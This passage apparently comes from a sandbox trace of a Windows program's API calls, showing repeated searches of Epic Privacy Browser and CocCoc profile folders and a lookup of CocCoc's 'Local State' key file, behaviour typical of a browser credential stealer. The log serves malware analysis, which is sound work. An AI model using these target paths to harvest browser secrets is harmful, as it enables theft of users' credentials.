[0052.805] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.805] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.805] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.805] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.805] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.805] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.805] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.806] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.806] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.806] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.806] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.806] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.806] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.806] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.806] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.806] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.806] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.806] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.806] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.806] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.806] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.806] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.806] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.806] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.807] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.807] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.807] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.807] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.807] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.807] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.807] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.807] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.807] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.807] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.807] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.807] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.807] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.807] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*") returned 71
[0052.807] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x98, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x1010023, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.809] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x181904 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0
[0052.809] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local"
[0052.809] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\CocCoc\\Browser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\"
[0052.809] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\"
[0052.809] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\"
[0052.810] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\Local State"
[0052.810] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x67d910
[0052.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=74, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74
[0052.810] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x94) returned 0x67d968
[0052.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=74, lpWideCharStr=0x67d968, cchWideChar=74 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\Local State") returned 74
[0052.810] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x67da08
[0052.810] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d968 | out: hHeap=0x670000) returned 1
[0052.810] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\local state")) returned 0xffffffff
[0052.810] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da08 | out: hHeap=0x670000) returned 1
[0052.810] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d910 | out: hHeap=0x670000) returned 1
[0052.810] wsprintfA (in: param_1=0x1818cc, param_2="%s\\*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*") returned 63
[0052.810] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*"), lpFindFileData=0x18178c | out: lpFindFileData=0x18178c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
[0052.810] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.810] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.811] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.811] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.811] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.811] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.811] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.811] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.811] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
